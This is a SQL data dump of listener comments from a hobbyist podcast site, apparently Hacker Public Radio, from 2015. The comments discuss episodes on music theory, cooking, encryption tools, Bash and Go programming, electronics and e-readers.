(1155,1775,'2015-05-25 07:08:15','kdmurray','SonicPi Releases','Great show. I\'d never heard of SonicPi before and have been messing around with it since I heard the episode.\r\n\r\nIt also looks like a Windows MSI version has become available since the episode was recorded. \r\n\r\nLooking forward to hearing more music from the HPR community!','2017-09-09 07:41:26'),
(1156,1776,'2015-05-25 13:17:05','thelovebug','1776','Missed out on the chance of an Independence Day joke...','2017-09-09 07:41:26'),
(1157,1776,'2015-05-28 11:51:24','Dave Morriss','Re: 1776','I always thought that film was a bit silly myself :-)','2017-09-09 07:41:26'),
(1158,1777,'2015-05-28 09:42:58','inscius','','Thank you, DJ Andrew and DJ Dave.\r\nNice episode with great music. I am also Magnatune member and did not know of most of the artists you played.','2017-09-09 07:41:26'),
(1159,1780,'2015-05-29 19:58:49','Dave Morriss','Thanks for this update','Thanks Ahuka,\r\n\r\nI was not aware of the problems suffered by Werner Koch regarding the funding of GnuPG. As a frequent user of this software this situation seems lamentable. His donation page is at https://gnupg.org/donate/index.html','2017-09-09 07:41:26'),
(1160,1780,'2015-06-11 03:39:18','Alison Chaiken','TrueCrypt vs. GPG','Thanks for this wonderful series.   I\'ve listened to them all, and, notably, installed K9-Mail and the encryption extension for Gmail after listening to that episode.\r\n\r\nI missed listening to this episode why one might consider using TrueCrypt when GPG is under active development.   What features does TC have that GPG lacks?','2017-09-09 07:41:26'),
(1161,1780,'2015-06-17 17:49:15','Kevin O\'Brien','Audited','Bear in mind that any answer is provisional and for the present time, but the fact that TrueCrypt has been audited and passed the audit is a big advantage in my book. ','2017-09-09 07:41:26'),
(1162,1782,'2015-06-02 09:52:20','Mike Ray','Chorustext!','Sounds like a great project.  I have one nagging question which sprang out at me when the sliders were mentioned...\r\n\r\nWhat happens when the document is many hundreds of lines in length?  do you need to move the line slider 0.000000001 millimetre to get to the next line?  How does that work.\r\n\r\nOverall sounds like an exciting project','2017-09-09 07:41:26'),
(1163,1782,'2015-06-02 17:22:33','Jon Kulp ','Awesome in Many Ways','It\'s hard to know where to begin to say how awesome this project is. It\'s brilliant in concept, effective in its execution, and it seems to be something that would really help visually-impaired users deal with text, especially when doing CODE, where you have to scroll through fiddly bits looking for curly braces, semicolons and the like. Apart from that, it\'s just really freaking cool. I encourage anyone who has not done so to go watch the video demonstrations. It\'s the kind of thing I would like to try to build myself just for the fun of it. Absolutely awesome, thanks for sharing, and please do more episodes for us!','2017-09-09 07:41:26'),
(1164,1782,'2015-06-08 10:44:08','Mike Ray','Smashing the monopoly of commercial gadgetry','If sighted folks knew how much companies charge for similar portable gadgetry aimed at blind people they\'d be shocked.\r\n\r\nCompanies always quote R&amp;D costs of bringing a product to market for a very small market as the justification for charging $4000 for a portable Braille note-taker.  Open Source and the hacker community are slowly going to crack this monopoly.\r\n\r\nIf I could still see to solder I would be building one of these.\r\n\r\n','2017-09-09 07:41:26'),
(1165,1783,'2015-06-03 00:58:20','Jon Kulp ','Updates Pain! ','Hilarious tale of Windows updates pain. I remember it well but haven\'t had to deal with it in a few years. Awful. Apart from requiring endless reboots and breaking things, those updates always took FOREVER to run. Thanks for an interesting episode, looking forward to more. ','2017-09-09 07:41:26'),
(1166,1783,'2015-06-06 20:04:19','0xf10e','Entertaining episode!','I tell our few windows users an win7 installation takes a whole day because of all the updates to install&hellip;\r\n\r\nIn regards to cynical coworkers: https://ars.userfriendly.org/cartoons/?id=20111002\r\n\r\nAnd dude, nice voice!\r\nYou should read SciFi stories for escapepod.org!','2022-02-14 13:17:23'),
(1167,1783,'2015-06-07 07:37:22','Stilvoid','Seconded','Just listened to this and really enjoyed it. I\'d love to hear you do more shows on things that frustrate you - very funny :D','2017-09-09 07:41:26'),
(1168,1784,'2015-06-04 11:44:00','Kevin O\'Brien','Great show!','I was really glad to see this in my feed today. I have backed all three of the projects Kimiko has done. As someone who performs music as well as listens, I think the open scores are just as important as the open recordings. Now I am waiting for the Chopin to be done.','2017-09-09 07:41:26'),
(1169,1784,'2015-06-04 14:27:26','Jon Kulp','Open Scores','Thanks Kevin. I agree about the scores, although you can get just about any public-domain scores for free in PDF format from the IMSLP website. The cool thing about these new scores is that you can get the source code and edit it. For example, near the end of the semester I grabbed the Musescore file for the fugue that I talked about in this episode and converted it to Lilypond code, then added a bunch of analytical markup in the code itself, things like text boxes, labels, and different colors for the noteheads to show where the fugue subject appeared, tell what key it had modulated to, etc. With the PDF the best that I could\'ve done would be to scribble all over it. When you have access to the source code you can do this kind of analytical markup much more elegantly. I\'ve also taken bits of these scores and use them to create the midi examples in my counterpoint book. Great projects all around by Kimiko Ishizaka!','2017-09-09 07:41:26'),
(1170,1784,'2015-06-04 14:35:19','Robert Douglass','Lady Gaga - fan of Bach and the Well-Tempered Clavier','It\'s no coincidence that \"artofcounterpoint\" chose the Lady Gaga song \"Bad Romance\" to write a fugue upon. The song itself directly quotes Bach\'s Well-Tempered Clavier, Book 1. Compare the theme of Fugue #24 in B-Minor to this: https://www.youtube.com/watch?v=qrO4YZeyl0I\r\n\r\n(I\'ve been told that the album release of the song doesn\'t have the same intro).\r\n\r\nIt\'s Bach! Lady Gaga starts her song off directly with Bach\'s theme.','2017-09-09 07:41:26'),
(1171,1784,'2015-06-04 18:52:07','Jon Kulp','Gaga Bach','Robert! I didn\'t realize HPR was on your radar. I had planned to give you a heads-up about this episode to make sure you guys knew the Open WTC was being featured. Thanks for listening.\r\n\r\nIt\'s funny I never noticed Lady Gaga\'s quotation before. That\'s such a weird subject that it hardly sounds like Bach, especially done electronically like that. I see a striking similarity between the subject of the D-sharp minor fugue featured in this episode and the Lady Gaga fugue subject, but it may just be b/c of the p5 leap at the beginning and the minor mode. ','2017-09-09 07:41:26'),
(1172,1784,'2015-06-06 16:14:30','Ken Fallon','Now I\'m \"seeing\" this everythere ','Thanks Jon. \r\n\r\nThe only problem is now I\'m seeing these techniques everywhere.','2017-09-09 07:41:26'),
(1173,1784,'2015-06-06 19:46:56','Jon Kulp','Feature, not a bug','This is not a problem, you simply know what to call it now when you hear it. Impress your friends...','2017-09-09 07:41:26'),
(1174,1784,'2015-06-07 19:29:31','Frank','','Great listening for a Sunday afternoon.\r\n\r\nIt occurred to me that, in terms of rigidity of structure etc., the fugue might be the sonnet of music.','2017-09-09 07:41:26'),
(1175,1784,'2015-06-08 13:52:03','Daniel Worth','Fantastic','I really enjoyed the listening, examining and explanation about the theory. I hope you do much more of this.','2017-09-09 07:41:26'),
(1176,1784,'2015-06-28 17:19:25','Alison Chaiken','Heard \"Fugue for Friday\"?','It\'s \r\n\r\nhttps://www.youtube.com/watch?v=YUTlp0ODS7s\r\n\r\nThanks for a fine show,\r\nAlison','2017-09-09 07:41:26'),
(1177,1784,'2015-06-28 23:33:06','Jon Kulp','Dragnet Fugue','Alison, It\'s so nice to hear from you! Thanks for listening, and also thanks for the tip on that fugue. It never would have occurred to me to write a fugue on that subject. This fugue is kind of unusual inasmuch as each middle entry seems to be almost like a complete new exposition, except for the fact that the texture does not drop down to a single voice again. Certainly unusual to see all four voices do the subject in succession in the middle entries like this. Cool piece, though!','2017-09-09 07:41:26'),
(1178,1784,'2015-07-08 04:10:33','FiftyOneFifty','Thanks','This comment is belated, since I meant to be on the Community News for June.  Jon, since you have pulled back the curtain, I will never be able to listen to music in quite the same way again.  To think I nearly skipped over this ep, and only listened due to \"politeness\".','2017-09-09 07:41:26'),
(1179,1787,'2015-06-09 21:01:24','Jon Kulp','What about broccoli?','Thanks so much for the shout-out, Frank, but how could you possibly leave **broccoli** off your list of stir-fry-worthy vegetables?! Really enjoyed the episode.','2017-09-09 07:41:26'),
(1180,1787,'2015-06-10 13:41:52','Mike Ray','And baby corns','I was just thinking the same thing John.  And what about baby corn-cobs?\r\n\r\nGreat episode.  I love wok cooking.\r\n\r\nI think a good long-handled wok shovel is also a must, especially for that authentic chinese kitchen noise :-)','2017-09-09 07:41:26'),
(1181,1787,'2015-06-10 14:40:49','Frank','','. . . er, because I haven\'t figured out a way to stir-fry Hollandaise sauce?','2017-09-09 07:41:26'),
(1182,1787,'2015-06-10 19:15:12','Jon Kulp','Hollandaise??','Hollandaise?? What does that have to do with broccoli? I don\'t think I\'ve ever even eaten hollandaise before!','2017-09-09 07:41:26'),
(1183,1787,'2015-06-10 20:01:40','Dave Morriss','Thinks to stir-fry','Great idea for an episode Frank.\r\n\r\nI\'m a great fan of Asian food and stir-fry a lot; I have been doing so for more than 30 years..\r\n\r\nMy basic vegetable stir-fry includes onions (cut vertically into \"segments\" and separated), sliced garlic, carrots and celery (both cut first diagonally then into julienne), broccoli, peppers, and button mushrooms. Cauliflower also works, as do brussels sprouts, cabbage and of course Chinese vegetables like Bok Choy. Then there are varieties of legumes like French beans, runner beans, beansprouts and the classic mangetout which are fantastic. The list goes on and on.\r\n\r\nI like to use a standard steel wok with a flat bottom since it works best on my gas hob. One day I\'ll buy a new hob with a burner designed for a proper round-bottomed wok :-)\r\n\r\nAnyway, thanks for the episode. It was great to hear.','2017-09-09 07:41:26'),
(1184,1787,'2015-06-10 20:04:29','Dave Morriss','Things not thinks','I got so excited thinking about my next stir-fry recipe my ability to spell left me ...','2017-09-09 07:41:26'),
(1185,1787,'2015-06-10 21:27:32','Mike Ray','Round-bttomed woks','I think in some places you can get some kind of iron ring to stand on your gas burner so that a round-bottomed wok will stand properly.\r\n\r\nI had one once which was really heavy, which it has to be if your going to violently slap the wok about the way the pros do.\r\n\r\nMuch better than a flat-bottomed wok','2017-09-09 07:41:26'),
(1186,1787,'2015-06-10 21:54:57','Dave Morriss','Wok rings','I have a ring but not like the one you describe. It\'s quite light and moves around and isn\'t stable on a gas hob like mine. No way would I leave a hot wok unattended on such a thing; I feel it would tip over.\r\n\r\nThe item you speak of would be great but wouldn\'t it raise the height of the wok somewhat? My gas hob is at work-top height, which is high for using a wok. When I have a lot of food in mine I need to stand on a stool to do some hearty stirring. I\'m not particularly short but I reckon I\'d feel dwarfed by such an arrangement!\r\n\r\nSo a flat-bottomed wok is a compromise for me - even though the sides don\'t get as hot as they should for true stir-frying.','2017-09-09 07:41:26'),
(1187,1787,'2015-06-11 18:17:07','Frank','','John:  If you haven\'t eaten Hollandaise, you haven\'t eaten; it\'s a very simple blend of egg yolks, butter, and cayenne.   It\'s quite laborious to make by hand and get the correct consistency.\r\n\r\nIt\'s traditionally associated with eggs benedict and asparagus, but is quite nice with broccoli.  You can find a never-fail recipe at my blog.\r\n\r\nSadly, most of what you get in average restaurants--the ones I can afford, for example--comes out of a can.\r\n\r\nRegarding bottoms, my wok has a flat area about 6\" in diameter at the bottom, then curves smoothly upward on the sides.  My stovetop is about waist-high, so I have no trouble managing it.  Perhaps someday I\'ll spring for a round-bottomed wok at the local Asian Market.','2017-09-09 07:41:26'),
(1188,1787,'2015-06-11 23:22:46','jezra','chicken and woks','After visiting the local butcher for some boneless skinless chicken breast, I put the breast in the freezer. An hour or so later the chicken is quite firm but not frozen solid. The firmness allows me to cut long strips of chicken that are paper thin.  om nom nom\r\n\r\nIf the wok is created by hammering, the hammer dents on the inside of the wok will allow the cook to push food farther up the side of the wok than on a smooth walled walk.  \r\n\r\nLoved the episode by the way.  :)','2017-09-09 07:41:27'),
(1189,1787,'2015-06-13 04:28:26','Frank','','Heh.\r\n\r\nI did the opposite.  I usually have skinless, boneless chicken breasts in the freezer.  I thaw them partially, then slice them up.\r\n\r\nAnd thanks.  I am continually impressed by the eclectic taste of the HPR community.  This really is a nice place to be.','2017-09-09 07:41:27'),
(1190,1787,'2015-06-14 01:28:16','FiftyOneFifty','','I\'ve learn not to turn the heat up when I thought I turned if off and then walk away from the stove.','2017-09-09 07:41:27'),
(1191,1787,'2015-06-16 23:16:15','Frank','Thanks for the suggestion','Had broccoli tonight, with garlic, onions, mushrooms, bean curd seasoned with mild Hungarian paprika sauce, pepper, and \"Italian spice.\"\r\n\r\nThanks for the suggestion.  Think I could have cut the broccoli into smaller bits, but it was still good.\r\n','2017-09-09 07:41:27'),
(1192,1788,'2015-06-11 18:55:03','Ken Fallon','So near and yet so expensive','&euro; 284, just to get there. Why are you torturing me !\r\n\r\nhttps://www.rome2rio.com/s/Amsterdam/Glasgow?dates=2015-7-10/2015-7-11','2022-02-14 13:17:23'),
(1193,1791,'2015-06-23 21:40:25','Dave Morriss','Yay for Bash scripts!','Great idea for a show and a most interesting script.\r\n\r\nI always like looking at other people\'s code; it gives an insight into how they think and solve problems, and there are often good ideas to make you consider how you\'d solve a similar problem. I\'m always looking for new and better ways of doing stuff.\r\n\r\nI never use \'getopt\' for example. It wasn\'t about when I first started using Unix and \'sh\', so I always use the older \'getopts\'. You have made me rethink this choice - thanks!\r\n\r\nThere are one or two parts of this script I don\'t quite understand so I have emailed you about them. This clunky comment system is not the best place to have such a dialogue.\r\n\r\nMore like this please!','2017-09-09 07:41:27'),
(1194,1791,'2015-06-28 16:30:57','Tony Pelaez','Google CL is broken','Unfortunately as of June 8th, Google CL is broken, so the upload to google photos no longer works.  According to the developer\'s website this is likely not something that will be fixed. (Source: https://code.google.com/p/googlecl/)\r\n\r\nBecause of this and the feedback Dave provided, I am reworking parts of this script.  If you are interested in following the changes, please keep an eye on the github gist where the changes will be posted.','2017-09-09 07:41:27'),
(1195,1793,'2015-06-18 17:30:51','Frank','','I completely understand mental blocks about thinking of a topic.\r\n\r\nWelcome to HPR.','2017-09-09 07:41:27'),
(1196,1793,'2015-06-19 18:56:03','Dave Morriss','Thanks for the show ','I was intrigued by what I heard of Go on \'FLOSS Weekly\' last year and more recently on \'The Changelog\' but I hadn\'t looked at it in detail yet.\r\n\r\nYour episode motivated me to look deeper and I\'m keen to try it out. Thanks for the useful links too.\r\n','2017-09-09 07:41:27'),
(1197,1793,'2015-06-22 16:27:05','Stilvoid','','The more I play around with Go, the more I like it. I\'ve been writing a fair bit of stuff in Go recently.\r\n\r\nThe latest is https://github.com/stilvoid/please/ which I wrote so I could talk to web APIs from shell scripts. Always good to have a reason to write some code :)\r\n\r\nOoh topic idea: how HTTP works.','2017-09-09 07:41:27'),
(1198,1794,'2015-06-19 19:58:17','Dave Morriss','Interesting lesson','I was aware of Schoenberg, Berg and Webern but have never found their music at all appealing, and have changed channels if they ever appeared on the radio. I feel I now have more of an insight into what they were trying to do, though sadly it hasn\'t made their music any more appealing.','2017-09-09 07:41:27'),
(1199,1794,'2015-06-19 21:58:59','Jon Kulp ','Still Ugly ','Dave, agreed. While the 12-tone technique has a certain elegance and analytical appeal, it didn\'t substantially increase the acceptance of the music by the general public. ','2017-09-09 07:41:27'),
(1200,1794,'2015-06-20 10:42:44','Mike Ray','Atonal music vs. Unrepresentative visual art','It\'s interesting that changes in visual art away from the purely representative to things like impressionist, expressionist, Dada-ism and pure abstract didn\'t raise the same kind of objections as atonal music.  Although there was some bad feeling from the traditionalists to impressionism I think that was just the usual \"old folks don\'t like change\" type.\r\n\r\nDoes this mean that things that offend our ears are inherently more palpably painful than things we look at?\r\n','2017-09-09 07:41:27'),
(1201,1794,'2015-06-24 07:20:04','Ken Fallon','RSS feed','Hi Jon,\r\n\r\nIs there any chance of wrapping these in an RSS feed. It would be great to be able to automatically add them to my feed reader. \r\n\r\nIt would make an excellent little daily podcast.\r\n\r\nKen.','2017-09-09 07:41:27'),
(1202,1794,'2015-06-24 11:27:01','Jon Kulp','Enjoy pain?','Glutton for punishment, eh? ','2017-09-09 07:41:27'),
(1203,1794,'2015-07-08 04:15:32','FiftyOneFifty','Forbidden Planet','This ep reminded me of the theme from every SciFi film from the 50s, most notably the classic \"The Forbidden Planet\".  I hope someone writes a script we can all lend our voices to and you can score.','2017-09-09 07:41:27'),
(1204,1800,'2015-06-29 13:44:35','Ken Fallon','Links','Do you have a text file of the links to the shows ? Or the YouTube ID\'s ?','2017-09-09 07:41:27'),
(1205,1800,'2015-07-04 23:44:01','Kevin O\'Brien','Here you go!',' - Alton Brown: https://www.youtube.com/channel/UC7J0cDeX5eo02yAXwIvB1CQ\r\n - Alton Brown Television: https://www.youtube.com/channel/UCfDNi1aEljAQ17mUrfUjkvg\r\n - BBC Earth Unplugged: https://www.youtube.com/channel/UCbwp5B-uDBy-fS4bDA0TEaw\r\n - Braincraft: https://www.youtube.com/channel/UCt_t6FwNsqr3WWoL6dFqG9w \r\n - Brain Stuff - How Stuff Works: https://www.youtube.com/channel/UCiefLm_nIz_gOH7XHbgpdCQ\r\n - Candyrat Records: https://www.youtube.com/channel/UCMJecdKUslHToOEpeuRGwXg\r\n - David Brin: https://www.youtube.com/channel/UCtbMXq5siIn3l-u_HKbAmrw\r\n - Computerphile: https://www.youtube.com/channel/UC9-y-6csu5WGm29I7JiwpnA\r\n - Crash Course: https://www.youtube.com/channel/UCX6b17PVsYBQ0ip5gyeme-Q\r\n - Dan Carlin: https://www.youtube.com/channel/UC3RcjbuyF5M1U4R62zjE3hg\r\n - Deep Sky Videos: https://www.youtube.com/channel/UCo-3ThNQmPmQSQL_L6Lx1_w\r\n - Don Ross: https://www.youtube.com/channel/UCRd5EO6FvhIrqQnk0cscSDA\r\n - FW Thinking: https://www.youtube.com/channel/UCnf7ZZpBsuTxnQgy1TKbTIw\r\n - Hana Malhas: https://www.youtube.com/channel/UCpoMVaoVRf3Xvf10_EIZKrg\r\n - Healthcare Triage: https://www.youtube.com/channel/UCabaQPYxxKepWUsEVQMT4Kw\r\n - How Stuff Works: https://www.youtube.com/channel/UCa35qyNpnlZ_u8n9qoAZbMQ\r\n - It\'s Okay To Be Smart: https://www.youtube.com/channel/UCH4BNI0-FOK2dMXoFtViWHw\r\n - Kurtz Gezagt - In A Nutshell: https://www.youtube.com/channel/UCsXVk37bltHxD1rDPwtNM8Q\r\n - Mental Floss: https://www.youtube.com/channel/UCpZ5qUqpW4hW4zdfuBxMSJA\r\n - Minute Earth: https://www.youtube.com/channel/UCeiYXex_fwgYDonaTcSIk6w\r\n - Minute Physics: https://www.youtube.com/channel/UCUHW94eEFW7hkUMVaZz4eDg\r\n - Monty Python: https://www.youtube.com/channel/UCGm3CO6LPcN-Y7HIuyE0Rew\r\n - NASA eClips: https://www.youtube.com/channel/UClF3aQw6CLDObNG4T9VPPnw\r\n - nature video: https://www.youtube.com/channel/UC7c8mE90qCtu11z47U0KErg\r\n - Numberphile: https://www.youtube.com/channel/UCoxcjq-8xIDTYp3uz647V5A\r\n - Objectivity: https://www.youtube.com/channel/UCtwKon9qMt5YLVgQt1tvJKg\r\n - Perioodic Videos: https://www.youtube.com/channel/UCtESv1e7ntJaLJYKIO1FoYw\r\n - Physics Girl: https://www.youtube.com/channel/UC7DdEm33SyaTDtWYGO2CwdA\r\n - Piled Higher and Deeper (PhD Comics): https://www.youtube.com/channel/UCUL-pmhmDcZDwsA4cX2HO5w\r\n - Science News: https://www.youtube.com/channel/UCBX5er6E37_yWB3gCM32p3g\r\n - SciShow: https://www.youtube.com/channel/UCZYTClx2T1of7BRZ86-8fow\r\n - SciShow Space: https://www.youtube.com/channel/UCrMePiHCWG4Vwqv3t7W9EFg\r\n - Sixty Symbols: https://www.youtube.com/channel/UCvBqzzvUBLCs8Y7Axb-jZew\r\n - Smarter Every Day: https://www.youtube.com/channel/UC6107grRI4m0o2-emgoDnAA\r\n - Space Frontier Org: https://www.youtube.com/channel/UCe_aC8RselByR6B2UMnprQA\r\n - Stuff They Don\'t Want You To Know - How Stuff Works: https://www.youtube.com/channel/UCrrOic-og4HzhleZqOq4L-A\r\n - Takei\'s Take: https://www.youtube.com/channel/UCdU7LWHJbvi4QsIDoofsbNA\r\n - The Hillywood Show: https://www.youtube.com/channel/UCuYRxRuTAtmeE2AiR5WWWHQ\r\n - The Fab Faux: https://www.youtube.com/channel/UCsU8AeRj_497u2IMxVA6OcQ\r\n - The Frugal Computer Guy: https://www.youtube.com/channel/UCbZ8wD6pmGb9qHqvx9M4YBw\r\n - Veritasium: https://www.youtube.com/channel/UCHnyfMqiRRG1u-2MsSQLbXA\r\n - Vlog Brothers: https://www.youtube.com/channel/UCGaVdbSav8xWuFWTadK6loA\r\n - Vsauce: https://www.youtube.com/channel/UC6nSFpj9HTCZ5t-N3Rm3-HA\r\n - Welcome To Night Vale: https://www.youtube.com/channel/UCrvuY59InDI3iKvopKT8PEw','2017-09-09 07:41:27'),
(1206,1806,'2015-07-06 18:32:04','Kevin O\'Brien','Sorry I missed it','I am listening to this show today, and I am sorry I missed it. But if you look at your up-loads you will see I cranked out 4 more shows over the weekend, so I hope I can be forgiven.\r\n\r\nAlso, you asked whether the material on my site (https://www.ahuka.com) it a transcript. Essentially it is. I always start by writing a page for my site, and then record the show pretty much by reading it. That said, I did ad lib a little bit, but it definitely serves the purpose of being a transcript (with screenshots!).','2022-02-14 13:17:23'),
(1207,1808,'2015-07-08 07:28:09','Mike','More, more','Great.  Can we have \'Ballads of a Cheechako\' next?\r\n\r\nI love the lines about the northern lights.','2017-09-09 07:41:27'),
(1208,1810,'2015-08-08 22:37:25','amp','but it is not free software','Free as in freedom. Would not be unethical? ','2017-09-09 07:41:27'),
(1209,1811,'2015-07-13 04:26:33','Charlie Ebert','hpr 1811 Dave Morriss','My father worked for Control Data.\r\nI started coding in Fortran myself in 1975 post Vietnam.\r\nI was very interested in hearing your experiences. \r\nI felt envious there were people who didn\'t have to punch up their own software.\r\nCharlie\r\n','2017-09-09 07:41:27'),
(1210,1811,'2015-07-13 15:43:36','Dave Morriss','Control Data etc','Hi Charlie,\r\n\r\nThanks for the comment.\r\n\r\nYes, we got stuff punched up for free by the Data Preparation staff, though I did learn how to operate a card punch and how to prepare a program card to automate some stuff.\r\n\r\nYou should do an HPR show about your experiences!\r\n\r\nDave','2017-09-09 07:41:27'),
(1211,1811,'2015-07-13 17:17:25','Mike Ray','Punched cards in a box','Great stuff Dave.\r\n\r\nIn the emergency queue there\'s a show I did about a thing I made out of an empty cereal box, some of my mum\'s knitting needles and some punched cards when I was about 7, under the supervision of my brother who is more geeky than me.\r\n\r\nIt was like the thing you described.  Pulling a knitting needle out of the box made a card drop out of the bottom that corresponded to the needle pulled out.  I used bamboo skewers in the show version.\r\n\r\nIn COBOL I seem to remember the sequence numbers were in columns 1 to 6.  Column 7 was an asterisk for a comment, a solidus for a continuation, or nothing.','2017-09-09 07:41:27'),
(1212,1811,'2015-07-13 21:44:55','Dave Morriss','Notched cards and COBOL','Hi Mike,\r\n\r\nGlad you liked the episode.\r\n\r\nYour emergency show sounds like fun. My kids would have liked that when they were young. I\'m sad we didn\'t think of something similar.\r\n\r\nI had forgotten the layout of COBOL cards, but I only ever wrote about two programs in it, and that was just for amusement!','2017-09-09 07:41:27'),
(1213,1812,'2015-07-15 10:01:15','Dave Morriss','Loved the ambient sounds','Hi Jon,\r\n\r\nVery enjoyable. It was fun to be accompanying you on your walk. Thanks for the description of what was going on around you too.\r\n\r\nOh, and some of those headphones sounded interesting, as did the microphone.','2017-09-09 07:41:27'),
(1214,1812,'2015-07-15 10:56:00','Jon Kulp ','Heavy Breathing ','Thanks Dave, I enjoyed recording this way but am not a fan of resultant heavy breathing. Planning to record brief outdoor episode today but I think I\'ll just go sit by the swamp or something. ','2017-09-09 07:41:27'),
(1215,1812,'2015-07-15 11:15:03','Dave Morriss','Breathing','Not heavy breathing, just breathing.\r\n\r\nDidn\'t bother me. A change in breathing rate is what sometimes happens when humans walk and talk!','2017-09-09 07:41:27'),
(1216,1812,'2015-07-17 12:26:09','John Corless','Great','Jon,\r\n\r\nI agree with Dave.  This was really enjoyable to listen to.  The very informal nature of joining you on a walk to work (and hearing commentary about what you saw along the way) was at least as fun as the intended content on headphones, which was also good :).  Thanks!\r\n\r\nJohn\r\n','2017-09-09 07:41:27'),
(1217,1813,'2015-07-15 05:42:26','0xf10e','grumpyness','You mean you get grumpy like a sysadmin or network operator when someone breaks their network? ;)\r\n\r\nBTW, did you know mplayer has a \'fbdev\' video output so you can play videos on the framebuffer, too?','2017-09-09 07:41:27'),
(1218,1813,'2015-07-15 18:05:00','windigo','Re: Grumpyness','I did *not* know about mplayer\'s fbdev option!\r\n\r\nThis sounds like a wonderful future project. Thanks for the heads up! :)','2017-09-09 07:41:27'),
(1219,1817,'2015-07-24 19:54:36','CPrompt^','Great show!','Loved the show NYBill!  Definitely do an update so we (I) can here the result.  Let us know what version of the pedal you went with too.\r\n\r\nYou might be interested in these guys too : https://www.mojotone.com/\r\n\r\nI used to work for them a few years ago and they have some quality stuff.  Nice kits that you can build on your own and such.  Nice vintage style apps.\r\n\r\nThanks for the show! ','2022-02-14 13:17:24'),
(1220,1817,'2015-07-25 13:50:40','Ken Fallon','A series on Electronic Components','Hi NYBill,\r\n\r\nWhile you might think this is obvious, this episode is a great practical tip for starting electronic projects. \r\n\r\nCan I suggest that HPR listeners contribute a list of sites they use to get components and we can put that up on the gitlab repo and then sync it to the main HPR Website. eg\r\n\r\nLocation,Site, URI, Description\r\nWorldwide, Deal Extreme,https://www.dx.com/, Electronics &amp; Cheap Gadgets shipped slowly but for free.\r\nNL,Conrad,https://www.conrad.nl/, Good quality but expensive Electronic components\r\n\r\n\r\nAlso I would love you or someone else to do a series on Electronics Components. This is a Resistor, they look like ..., they are used for ..., they cost about ...., there are the following types ...., etc etc.\r\n\r\nKen.','2022-02-14 13:17:24'),
(1221,1817,'2015-07-27 21:53:09','NYbill','Thanks guys','Thanks CPrompt^. That must have been an interesting place to work.  And there will be a follow up.  I told you how I found the board layout online. So, there will be some etching too. \r\n\r\nGood fun.\r\n\r\nYea, that idea did cross my mind, Ken. Do, an episode each for different components.  We\'ll see if I get off my butt and do that.  ','2017-09-09 07:41:27'),
(1222,1823,'2015-07-31 12:45:42','Anon','','The sound quality is absolutely awful. Unbearable.','2017-09-09 07:41:27'),
(1223,1827,'2015-08-04 00:54:52','Charlie Ebert','Me.','Loved the episode.  I use wax paper to cover my work and line the pan for baking\r\nto keep the bread from sticking.\r\nI have a couple of bread makers around as well but, don\'t use them for anything other than kneading the bread.  They knead bread quite well and keep it at a slightly elevated temperature which is nice.\r\nI will have to look around for some of your ingredients, assuming our FDA hasn\'t banned them.  \r\nInteresting show.  \r\nI also like watching Alien Bob from Slackware fame post his bread experiments on the web.  He bakes also.','2017-09-09 07:41:27'),
(1224,1827,'2015-08-07 15:34:39','Daniel Worth','Great!','I make a lot of food from scratch. I also make sour dough bread. I love hearing about other peoples processed for cooking. You did a fantastic job on this episode!','2017-09-09 07:41:27'),
(1225,1827,'2015-08-10 10:39:39','Dave Morriss','Thanks for the feeedback','Thanks, the comments are most appreciated.\r\n\r\nCharlie: I\'d never thought of using such paper. I\'ve used what\'s known as \'greaseproof paper\' in the UK for cakes, but it\'s a pain to get it to fit neatly into tins.\r\nI\'ve never used the knead-only program on my bread maker, though I imagine that would be useful for making pizza dough for example.\r\nGood luck with the ingredients.\r\n\r\nDaniel: I\'d like to hear about your sour dough bread making methods some time!','2017-09-09 07:41:27'),
(1226,1828,'2015-08-05 11:17:23','Jon Kulp ','Awesome','Bill! Amazing job on this show, probably my favorite one this year. Looking forward to hearing the second in the series.','2017-09-09 07:41:27'),
(1227,1828,'2015-08-06 22:17:11','NYbill','','Thanks, pal. I thought I\'d record an episode while I was doing a project. Talk about it as I go.  My thought process, troubleshooting, etc... \r\n\r\nAlthough, I felt the edit was a bit rough, I\'m glad you liked it. \r\n\r\n','2017-09-09 07:41:27'),
(1228,1828,'2015-10-18 03:52:31','Neandergeek','Great imprompto series','I just got my Uni-T UT61E, but I\'m still waiting for my USB cable. I may get the led back light added tomorrow. I\'ll follow up when I do.\r\n\r\nOne of the photos had what looks like a storage organizer for resistors in the form of one quarter of a circle. Do groups of four of them make stackable rings? Are they affordable and useful?\r\n','2017-09-09 07:41:27'),
(1229,1828,'2015-11-02 22:15:19','NYbill','USB cab;e prices went up. ','Hey Neandergeek, cool you got one.  Good luck with the LED mod if you attempt it.  I wonder what color (yes there is a \'u\' missing there you UK lot) LED you will choose. \r\n\r\nYes, I\'m waiting on the USB cable as well. It seems the UNI-T ut7xx series has come out. The new series seem to be targeting the Fluke 289 type data logging meters.  But, as soon as they came out the price of the USB cable seemed to jump from ~$11 to ~$18.  Well, there is one on its way to me now. It should be here soon. \r\n\r\nIn the mean time, I can confirm that the UNI-T windows software does work with Linux/WINE.  I just need the cable to make sure they can communicate.  \r\n\r\nAs for the small curved containers, I\'ve had them for ~20 years.  They are from a storage bucket type thing I had for work.  It was a 5 gallon plastic bucket with stackable trays inside.  Similar to this:\r\n\r\nhttps://tinyurl.com/nhfr2do\r\n\r\nThe small bins would stack into one of the bigger trays for holding tiny stuff.  But, they were too small for work items. So, I used them for electronics parts at home.  So no, I don\'t think they are available on their own.  ','2022-02-14 13:17:24'),
(1230,1829,'2015-08-07 15:16:51','Fweeb','BQ Cervantes?','You mentioned that you were looking for an unaffiliated ereader. How about the BQ Cervantes[1]? It\'s a touch expensive, but it *is* unaffiliated and, as a bonus, the version I\'ve linked to runs an open source stack. I don\'t have one, but I\'m awfully tempted.\r\n\r\n[1] https://store.bq.com/en/e-readers/cervantes','2022-02-14 13:17:25'),
(1231,1829,'2015-08-07 16:31:12','cybergrue','One thing you missed','Another good show Jon.\r\nOne thing about the Kindle DX that you missed is that it can display full size pdf documents without resizing them, or reflowing.  It works great for technical pdfs, like scientific papers with embed graphics and graphs for example.\r\nIt can handle very large pdf documents but changing pages is very slowwww.  \r\n\r\nAlso, it can display other formats as well, plain ASCII text for example.\r\nOn mine, there is an experimental features menu item that claims it can  retrieve web pages (via cellular I think) I have never used this feature so I don\'t know if or how well it works.\r\n\r\nThe DX appears to have been an attempt at a professional version of the Kindle and appears to have features that were not on other kindles, which explains its price and short life.','2017-09-09 07:41:27'),
